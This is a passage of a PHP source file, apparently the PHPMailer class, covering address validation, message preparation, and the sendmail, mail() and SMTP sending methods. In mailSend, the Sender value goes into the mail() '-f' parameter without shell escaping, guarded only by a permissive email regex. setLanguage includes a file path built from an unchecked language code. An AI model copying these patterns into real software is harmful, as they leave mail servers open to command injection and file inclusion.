  1060.                 } else {
  1061.                     list($name, $email) = explode('<', $address);
  1062.                     $email = trim(str_replace('>', '', $email));
  1063.                     if ($this->validateAddress($email)) {
  1064.                         $addresses[] = array(
  1065.                             'name' => trim(str_replace(array('"', "'"), '', $name)),
  1066.                             'address' => $email
  1067.                         );
  1068.                     }
  1069.                 }
  1070.             }
  1071.         }
  1072.         return $addresses;
  1073.     }
  1074.  
  1075.     /**
  1076.      * Set the From and FromName properties.
  1077.      * @param string $address
  1078.      * @param string $name
  1079.      * @param boolean $auto Whether to also set the Sender address, defaults to true
  1080.      * @throws phpmailerException
  1081.      * @return boolean
  1082.      */
  1083.     public function setFrom($address, $name = '', $auto = true)
  1084.     {
  1085.         $address = trim($address);
  1086.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1087.         // Don't validate now addresses with IDN. Will be done in send().
  1088.         if (($pos = strrpos($address, '@')) === false or
  1089.             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1090.             !$this->validateAddress($address)) {
  1091.             $error_message = $this->lang('invalid_address') . $address;
  1092.             $this->setError($error_message);
  1093.             $this->edebug($error_message);
  1094.             if ($this->exceptions) {
  1095.                 throw new phpmailerException($error_message);
  1096.             }
  1097.             return false;
  1098.         }
  1099.         $this->From = $address;
  1100.         $this->FromName = $name;
  1101.         if ($auto) {
  1102.             if (empty($this->Sender)) {
  1103.                 $this->Sender = $address;
  1104.             }
  1105.         }
  1106.         return true;
  1107.     }
  1108.  
  1109.     /**
  1110.      * Return the Message-ID header of the last email.
  1111.      * Technically this is the value from the last time the headers were created,
  1112.      * but it's also the message ID of the last sent message except in
  1113.      * pathological cases.
  1114.      * @return string
  1115.      */
  1116.     public function getLastMessageID()
  1117.     {
  1118.         return $this->lastMessageID;
  1119.     }
  1120.  
  1121.     /**
  1122.      * Check that a string looks like an email address.
  1123.      * @param string $address The email address to check
  1124.      * @param string $patternselect A selector for the validation pattern to use :
  1125.      * * `auto` Pick best pattern automatically;
  1126.      * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1127.      * * `pcre` Use old PCRE implementation;
  1128.      * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1129.      * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1130.      * * `noregex` Don't use a regex: super fast, really dumb.
  1131.      * @return boolean
  1132.      * @static
  1133.      * @access public
  1134.      */
  1135.     public static function validateAddress($address, $patternselect = 'auto')
  1136.     {
  1137.         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1138.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1139.             return false;
  1140.         }
  1141.         if (!$patternselect or $patternselect == 'auto') {
  1142.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1143.             //Constant was added in PHP 5.2.4
  1144.             if (defined('PCRE_VERSION')) {
  1145.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1146.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1147.                     $patternselect = 'pcre8';
  1148.                 } else {
  1149.                     $patternselect = 'pcre';
  1150.                 }
  1151.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1152.                 //Fall back to older PCRE
  1153.                 $patternselect = 'pcre';
  1154.             } else {
  1155.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1156.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1157.                     $patternselect = 'php';
  1158.                 } else {
  1159.                     $patternselect = 'noregex';
  1160.                 }
  1161.             }
  1162.         }
  1163.         switch ($patternselect) {
  1164.             case 'pcre8':
  1165.                 /**
  1166.                  * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1167.                  * @link http://squiloople.com/2009/12/20/email-address-validation/
  1168.                  * @copyright 2009-2010 Michael Rushton
  1169.                  * Feel free to use and redistribute this code. But please keep this copyright notice.
  1170.                  */
  1171.                 return (boolean)preg_match(
  1172.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1173.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1174.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1175.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1176.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1177.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1178.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1179.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1180.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1181.                     $address
  1182.                 );
  1183.             case 'pcre':
  1184.                 //An older regex that doesn't need a recent PCRE
  1185.                 return (boolean)preg_match(
  1186.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1187.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1188.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1189.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1190.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1191.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1192.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1193.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1194.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1195.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1196.                     $address
  1197.                 );
  1198.             case 'html5':
  1199.                 /**
  1200.                  * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1201.                  * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1202.                  */
  1203.                 return (boolean)preg_match(
  1204.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1205.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1206.                     $address
  1207.                 );
  1208.             case 'noregex':
  1209.                 //No PCRE! Do something _very_ approximate!
  1210.                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1211.                 return (strlen($address) >= 3
  1212.                     and strpos($address, '@') >= 1
  1213.                     and strpos($address, '@') != strlen($address) - 1);
  1214.             case 'php':
  1215.             default:
  1216.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1217.         }
  1218.     }
  1219.  
  1220.     /**
  1221.      * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1222.      * "intl" and "mbstring" PHP extensions.
  1223.      * @return bool "true" if required functions for IDN support are present
  1224.      */
  1225.     public function idnSupported()
  1226.     {
  1227.         // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1228.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1229.     }
  1230.  
  1231.     /**
  1232.      * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1233.      * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1234.      * This function silently returns unmodified address if:
  1235.      * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1236.      * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1237.      *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1238.      * @see PHPMailer::$CharSet
  1239.      * @param string $address The email address to convert
  1240.      * @return string The encoded address in ASCII form
  1241.      */
  1242.     public function punyencodeAddress($address)
  1243.     {
  1244.         // Verify we have required functions, CharSet, and at-sign.
  1245.         if ($this->idnSupported() and
  1246.             !empty($this->CharSet) and
  1247.             ($pos = strrpos($address, '@')) !== false) {
  1248.             $domain = substr($address, ++$pos);
  1249.             // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1250.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1251.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1252.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1253.                     idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1254.                     idn_to_ascii($domain)) !== false) {
  1255.                     return substr($address, 0, $pos) . $punycode;
  1256.                 }
  1257.             }
  1258.         }
  1259.         return $address;
  1260.     }
  1261.  
  1262.     /**
  1263.      * Create a message and send it.
  1264.      * Uses the sending method specified by $Mailer.
  1265.      * @throws phpmailerException
  1266.      * @return boolean false on error - See the ErrorInfo property for details of the error.
  1267.      */
  1268.     public function send()
  1269.     {
  1270.         try {
  1271.             if (!$this->preSend()) {
  1272.                 return false;
  1273.             }
  1274.             return $this->postSend();
  1275.         } catch (phpmailerException $exc) {
  1276.             $this->mailHeader = '';
  1277.             $this->setError($exc->getMessage());
  1278.             if ($this->exceptions) {
  1279.                 throw $exc;
  1280.             }
  1281.             return false;
  1282.         }
  1283.     }
  1284.  
  1285.     /**
  1286.      * Prepare a message for sending.
  1287.      * @throws phpmailerException
  1288.      * @return boolean
  1289.      */
  1290.     public function preSend()
  1291.     {
  1292.         try {
  1293.             $this->error_count = 0; // Reset errors
  1294.             $this->mailHeader = '';
  1295.  
  1296.             // Dequeue recipient and Reply-To addresses with IDN
  1297.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1298.                 $params[1] = $this->punyencodeAddress($params[1]);
  1299.                 call_user_func_array(array($this, 'addAnAddress'), $params);
  1300.             }
  1301.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1302.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1303.             }
  1304.  
  1305.             // Validate From, Sender, and ConfirmReadingTo addresses
  1306.             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1307.                 $this->$address_kind = trim($this->$address_kind);
  1308.                 if (empty($this->$address_kind)) {
  1309.                     continue;
  1310.                 }
  1311.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1312.                 if (!$this->validateAddress($this->$address_kind)) {
  1313.                     $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1314.                     $this->setError($error_message);
  1315.                     $this->edebug($error_message);
  1316.                     if ($this->exceptions) {
  1317.                         throw new phpmailerException($error_message);
  1318.                     }
  1319.                     return false;
  1320.                 }
  1321.             }
  1322.  
  1323.             // Set whether the message is multipart/alternative
  1324.             if (!empty($this->AltBody)) {
  1325.                 $this->ContentType = 'multipart/alternative';
  1326.             }
  1327.  
  1328.             $this->setMessageType();
  1329.             // Refuse to send an empty message unless we are specifically allowing it
  1330.             if (!$this->AllowEmpty and empty($this->Body)) {
  1331.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1332.             }
  1333.  
  1334.             // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1335.             $this->MIMEHeader = '';
  1336.             $this->MIMEBody = $this->createBody();
  1337.             // createBody may have added some headers, so retain them
  1338.             $tempheaders = $this->MIMEHeader;
  1339.             $this->MIMEHeader = $this->createHeader();
  1340.             $this->MIMEHeader .= $tempheaders;
  1341.  
  1342.             // To capture the complete message when using mail(), create
  1343.             // an extra header list which createHeader() doesn't fold in
  1344.             if ($this->Mailer == 'mail') {
  1345.                 if (count($this->to) > 0) {
  1346.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1347.                 } else {
  1348.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1349.                 }
  1350.                 $this->mailHeader .= $this->headerLine(
  1351.                     'Subject',
  1352.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1353.                 );
  1354.             }
  1355.  
  1356.             // Sign with DKIM if enabled
  1357.             if (!empty($this->DKIM_domain)
  1358.                 && !empty($this->DKIM_private)
  1359.                 && !empty($this->DKIM_selector)
  1360.                 && file_exists($this->DKIM_private)) {
  1361.                 $header_dkim = $this->DKIM_Add(
  1362.                     $this->MIMEHeader . $this->mailHeader,
  1363.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1364.                     $this->MIMEBody
  1365.                 );
  1366.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1367.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1368.             }
  1369.             return true;
  1370.         } catch (phpmailerException $exc) {
  1371.             $this->setError($exc->getMessage());
  1372.             if ($this->exceptions) {
  1373.                 throw $exc;
  1374.             }
  1375.             return false;
  1376.         }
  1377.     }
  1378.     public function innerBody(){
  1379.  
  1380.        
  1381.     }
  1382.     /**
  1383.      * Actually send a message.
  1384.      * Send the email via the selected mechanism
  1385.      * @throws phpmailerException
  1386.      * @return boolean
  1387.      */
  1388.     public function postSend()
  1389.     {
  1390.         try {
  1391.             // Choose the mailer and send through it
  1392.             switch ($this->Mailer) {
  1393.                 case 'sendmail':
  1394.                 case 'qmail':
  1395.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1396.                 case 'smtp':
  1397.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1398.                 case 'mail':
  1399.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1400.                 default:
  1401.                     $sendMethod = $this->Mailer.'Send';
  1402.                     if (method_exists($this, $sendMethod)) {
  1403.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1404.                     }
  1405.  
  1406.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1407.             }
  1408.         } catch (phpmailerException $exc) {
  1409.             $this->setError($exc->getMessage());
  1410.             $this->edebug($exc->getMessage());
  1411.             if ($this->exceptions) {
  1412.                 throw $exc;
  1413.             }
  1414.         }
  1415.         return false;
  1416.     }
  1417.  
  1418.     /**
  1419.      * Send mail using the $Sendmail program.
  1420.      * @param string $header The message headers
  1421.      * @param string $body The message body
  1422.      * @see PHPMailer::$Sendmail
  1423.      * @throws phpmailerException
  1424.      * @access protected
  1425.      * @return boolean
  1426.      */
  1427.     protected function sendmailSend($header, $body)
  1428.     {
  1429.         if ($this->Sender != '') {
  1430.             if ($this->Mailer == 'qmail') {
  1431.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1432.             } else {
  1433.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1434.             }
  1435.         } else {
  1436.             if ($this->Mailer == 'qmail') {
  1437.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1438.             } else {
  1439.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1440.             }
  1441.         }
  1442.         if ($this->SingleTo) {
  1443.             foreach ($this->SingleToArray as $toAddr) {
  1444.                 if (!@$mail = popen($sendmail, 'w')) {
  1445.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1446.                 }
  1447.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1448.                 fputs($mail, $header);
  1449.                 fputs($mail, $body);
  1450.                 $result = pclose($mail);
  1451.                 $this->doCallback(
  1452.                     ($result == 0),
  1453.                     array($toAddr),
  1454.                     $this->cc,
  1455.                     $this->bcc,
  1456.                     $this->Subject,
  1457.                     $body,
  1458.                     $this->From
  1459.                 );
  1460.                 if ($result != 0) {
  1461.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1462.                 }
  1463.             }
  1464.         } else {
  1465.             if (!@$mail = popen($sendmail, 'w')) {
  1466.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1467.             }
  1468.             fputs($mail, $header);
  1469.             fputs($mail, $body);
  1470.             $result = pclose($mail);
  1471.             $this->doCallback(
  1472.                 ($result == 0),
  1473.                 $this->to,
  1474.                 $this->cc,
  1475.                 $this->bcc,
  1476.                 $this->Subject,
  1477.                 $body,
  1478.                 $this->From
  1479.             );
  1480.             if ($result != 0) {
  1481.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1482.             }
  1483.         }
  1484.         return true;
  1485.     }
  1486.  
  1487.     /**
  1488.      * Send mail using the PHP mail() function.
  1489.      * @param string $header The message headers
  1490.      * @param string $body The message body
  1491.      * @link http://www.php.net/manual/en/book.mail.php
  1492.      * @throws phpmailerException
  1493.      * @access protected
  1494.      * @return boolean
  1495.      */
  1496.     protected function mailSend($header, $body)
  1497.     {
  1498.         $toArr = array();
  1499.         foreach ($this->to as $toaddr) {
  1500.             $toArr[] = $this->addrFormat($toaddr);
  1501.         }
  1502.         $to = implode(', ', $toArr);
  1503.  
  1504.         if (empty($this->Sender)) {
  1505.             $params = ' ';
  1506.         } else {
  1507.             $params = sprintf('-f%s', $this->Sender);
  1508.         }
  1509.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1510.             $old_from = ini_get('sendmail_from');
  1511.             ini_set('sendmail_from', $this->Sender);
  1512.         }
  1513.         $result = false;
  1514.         if ($this->SingleTo && count($toArr) > 1) {
  1515.             foreach ($toArr as $toAddr) {
  1516.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1517.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1518.             }
  1519.         } else {
  1520.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1521.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1522.         }
  1523.         if (isset($old_from)) {
  1524.             ini_set('sendmail_from', $old_from);
  1525.         }
  1526.         if (!$result) {
  1527.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1528.         }
  1529.         return true;
  1530.     }
  1531.  
  1532.     /**
  1533.      * Get an instance to use for SMTP operations.
  1534.      * Override this function to load your own SMTP implementation
  1535.      * @return SMTP
  1536.      */
  1537.     public function getSMTPInstance()
  1538.     {
  1539.         if (!is_object($this->smtp)) {
  1540.             $this->smtp = new SMTP;
  1541.         }
  1542.         return $this->smtp;
  1543.     }
  1544.  
  1545.     /**
  1546.      * Send mail via SMTP.
  1547.      * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1548.      * Uses the PHPMailerSMTP class by default.
  1549.      * @see PHPMailer::getSMTPInstance() to use a different class.
  1550.      * @param string $header The message headers
  1551.      * @param string $body The message body
  1552.      * @throws phpmailerException
  1553.      * @uses SMTP
  1554.      * @access protected
  1555.      * @return boolean
  1556.      */
  1557.     protected function smtpSend($header, $body)
  1558.     {
  1559.         $bad_rcpt = array();
  1560.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1561.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1562.         }
  1563.         if ('' == $this->Sender) {
  1564.             $smtp_from = $this->From;
  1565.         } else {
  1566.             $smtp_from = $this->Sender;
  1567.         }
  1568.         if (!$this->smtp->mail($smtp_from)) {
  1569.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1570.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1571.         }
  1572.  
  1573.         // Attempt to send to all recipients
  1574.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1575.             foreach ($togroup as $to) {
  1576.                 if (!$this->smtp->recipient($to[0])) {
  1577.                     $error = $this->smtp->getError();
  1578.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1579.                     $isSent = false;
  1580.                 } else {
  1581.                     $isSent = true;
  1582.                 }
  1583.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1584.             }
  1585.         }
  1586.  
  1587.         // Only send the DATA command if we have viable recipients
  1588.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1589.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1590.         }
  1591.         if ($this->SMTPKeepAlive) {
  1592.             $this->smtp->reset();
  1593.         } else {
  1594.             $this->smtp->quit();
  1595.             $this->smtp->close();
  1596.         }
  1597.         //Create error message for any bad addresses
  1598.         if (count($bad_rcpt) > 0) {
  1599.             $errstr = '';
  1600.             foreach ($bad_rcpt as $bad) {
  1601.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1602.             }
  1603.             throw new phpmailerException(
  1604.                 $this->lang('recipients_failed') . $errstr,
  1605.                 self::STOP_CONTINUE
  1606.             );
  1607.         }
  1608.         return true;
  1609.     }
  1610.  
  1611.     /**
  1612.      * Initiate a connection to an SMTP server.
  1613.      * Returns false if the operation failed.
  1614.      * @param array $options An array of options compatible with stream_context_create()
  1615.      * @uses SMTP
  1616.      * @access public
  1617.      * @throws phpmailerException
  1618.      * @return boolean
  1619.      */
  1620.     public function smtpConnect($options = array())
  1621.     {
  1622.         if (is_null($this->smtp)) {
  1623.             $this->smtp = $this->getSMTPInstance();
  1624.         }
  1625.  
  1626.         // Already connected?
  1627.         if ($this->smtp->connected()) {
  1628.             return true;
  1629.         }
  1630.  
  1631.         $this->smtp->setTimeout($this->Timeout);
  1632.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1633.         $this->smtp->setDebugOutput($this->Debugoutput);
  1634.         $this->smtp->setVerp($this->do_verp);
  1635.         $hosts = explode(';', $this->Host);
  1636.         $lastexception = null;
  1637.  
  1638.         foreach ($hosts as $hostentry) {
  1639.             $hostinfo = array();
  1640.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1641.                 // Not a valid host entry
  1642.                 continue;
  1643.             }
  1644.             // $hostinfo[2]: optional ssl or tls prefix
  1645.             // $hostinfo[3]: the hostname
  1646.             // $hostinfo[4]: optional port number
  1647.             // The host string prefix can temporarily override the current setting for SMTPSecure
  1648.             // If it's not specified, the default value is used
  1649.             $prefix = '';
  1650.             $secure = $this->SMTPSecure;
  1651.             $tls = ($this->SMTPSecure == 'tls');
  1652.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1653.                 $prefix = 'ssl://';
  1654.                 $tls = false; // Can't have SSL and TLS at the same time
  1655.                 $secure = 'ssl';
  1656.             } elseif ($hostinfo[2] == 'tls') {
  1657.                 $tls = true;
  1658.                 // tls doesn't use a prefix
  1659.                 $secure = 'tls';
  1660.             }
  1661.             //Do we need the OpenSSL extension?
  1662.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1663.             if ('tls' === $secure or 'ssl' === $secure) {
  1664.                 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1665.                 if (!$sslext) {
  1666.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1667.                 }
  1668.             }
  1669.             $host = $hostinfo[3];
  1670.             $port = $this->Port;
  1671.             $tport = (integer)$hostinfo[4];
  1672.             if ($tport > 0 and $tport < 65536) {
  1673.                 $port = $tport;
  1674.             }
  1675.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1676.                 try {
  1677.                     if ($this->Helo) {
  1678.                         $hello = $this->Helo;
  1679.                     } else {
  1680.                         $hello = $this->serverHostname();
  1681.                     }
  1682.                     $this->smtp->hello($hello);
  1683.                     //Automatically enable TLS encryption if:
  1684.                     // * it's not disabled
  1685.                     // * we have openssl extension
  1686.                     // * we are not already using SSL
  1687.                     // * the server offers STARTTLS
  1688.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1689.                         $tls = true;
  1690.                     }
  1691.                     if ($tls) {
  1692.                         if (!$this->smtp->startTLS()) {
  1693.                             throw new phpmailerException($this->lang('connect_host'));
  1694.                         }
  1695.                         // We must resend HELO after tls negotiation
  1696.                         $this->smtp->hello($hello);
  1697.                     }
  1698.                     if ($this->SMTPAuth) {
  1699.                         if (!$this->smtp->authenticate(
  1700.                             $this->Username,
  1701.                             $this->Password,
  1702.                             $this->AuthType,
  1703.                             $this->Realm,
  1704.                             $this->Workstation
  1705.                         )
  1706.                         ) {
  1707.                             throw new phpmailerException($this->lang('authenticate'));
  1708.                         }
  1709.                     }
  1710.                     return true;
  1711.                 } catch (phpmailerException $exc) {
  1712.                     $lastexception = $exc;
  1713.                     $this->edebug($exc->getMessage());
  1714.                     // We must have connected, but then failed TLS or Auth, so close connection nicely
  1715.                     $this->smtp->quit();
  1716.                 }
  1717.             }
  1718.         }
  1719.         // If we get here, all connection attempts have failed, so close connection hard
  1720.         $this->smtp->close();
  1721.         // As we've caught all exceptions, just report whatever the last one was
  1722.         if ($this->exceptions and !is_null($lastexception)) {
  1723.             throw $lastexception;
  1724.         }
  1725.         return false;
  1726.     }
  1727.  
  1728.     /**
  1729.      * Close the active SMTP session if one exists.
  1730.      * @return void
  1731.      */
  1732.     public function smtpClose()
  1733.     {
  1734.         if ($this->smtp !== null) {
  1735.             if ($this->smtp->connected()) {
  1736.                 $this->smtp->quit();
  1737.                 $this->smtp->close();
  1738.             }
  1739.         }
  1740.     }
  1741.  
  1742.     /**
  1743.      * Set the language for error messages.
  1744.      * Returns false if it cannot load the language file.
  1745.      * The default language is English.
  1746.      * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1747.      * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1748.      * @return boolean
  1749.      * @access public
  1750.      */
  1751.     public function setLanguage($langcode = 'en', $lang_path = '')
  1752.     {
  1753.         // Define full set of translatable strings in English
  1754.         $PHPMAILER_LANG = array(
  1755.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1756.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1757.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1758.             'empty_message' => 'Message body empty',
  1759.             'encoding' => 'Unknown encoding: ',
  1760.             'execute' => 'Could not execute: ',
  1761.             'file_access' => 'Could not access file: ',
  1762.             'file_open' => 'File Error: Could not open file: ',
  1763.             'from_failed' => 'The following From address failed: ',
  1764.             'instantiate' => 'Could not instantiate mail function.',
  1765.             'invalid_address' => 'Invalid address: ',
  1766.             'mailer_not_supported' => ' mailer is not supported.',
  1767.             'provide_address' => 'You must provide at least one recipient email address.',
  1768.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1769.             'signing' => 'Signing Error: ',
  1770.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1771.             'smtp_error' => 'SMTP server error: ',
  1772.             'variable_set' => 'Cannot set or reset variable: ',
  1773.             'extension_missing' => 'Extension missing: '
  1774.         );
  1775.         if (empty($lang_path)) {
  1776.             // Calculate an absolute path so it can work if CWD is not here
  1777.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1778.         }
  1779.         $foundlang = true;
  1780.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1781.         // There is no English translation file
  1782.         if ($langcode != 'en') {
  1783.             // Make sure language file path is readable
  1784.             if (!is_readable($lang_file)) {
  1785.                 $foundlang = false;
  1786.             } else {
  1787.                 // Overwrite language-specific strings.
  1788.                 // This way we'll never have missing translation keys.
  1789.                 $foundlang = include $lang_file;
  1790.             }
  1791.         }
  1792.         $this->language = $PHPMAILER_LANG;
  1793.         return (boolean)$foundlang; // Returns false if language not found
  1794.     }
  1795.  
  1796.     /**
  1797.      * Get the array of strings for the current language.
  1798.      * @return array
  1799.      */
  1800.     public function getTranslations()
  1801.     {
  1802.         return $this->language;
  1803.     }
  1804.  
  1805.     /**
  1806.      * Create recipient headers.
  1807.      * @access public
  1808.      * @param string $type
  1809.      * @param array $addr An array of recipient,
